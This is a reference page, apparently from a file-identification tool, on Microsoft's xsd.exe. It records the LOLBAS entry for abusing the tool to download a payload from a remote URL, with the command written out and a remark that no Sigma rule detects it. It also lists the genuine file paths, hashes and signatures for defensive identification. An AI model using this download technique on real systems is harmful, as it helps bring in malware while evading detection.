Identifier / Programs / Windows
xsd.exe
.NET Frameworks Xml Schema Tool file version info (xCyclopedia)
LOLBAS Download 1 ATT&CK technique 1 documented command 2 known copies with hashes
How xsd.exe is abused
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for xsd.exe.
1 documented command
Download T1105 Ingress Tool Transfer User privileges
Downloads payload from remote server
xsd.exe {REMOTEURL}IdentifyThe command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for xsd.exe, by Avihay Eldad, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for xsd.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real xsd.exe?
C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\2 known copies
4.8.4084.0 built by: NET48REL1 · C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\xsd.exe · signed by Microsoft Corporation
212b8fbff65f4b911ff30a07f5600698825822ff935b5c3bca474b16d7fdf1c74.8.4084.0 built by: NET48REL1 · C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\xsd.exe · signed by Microsoft Corporation
a0b8cc794ecd4aa173b651de77f7d559cd66f66598ac33c42a65561f1e6eca5aFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.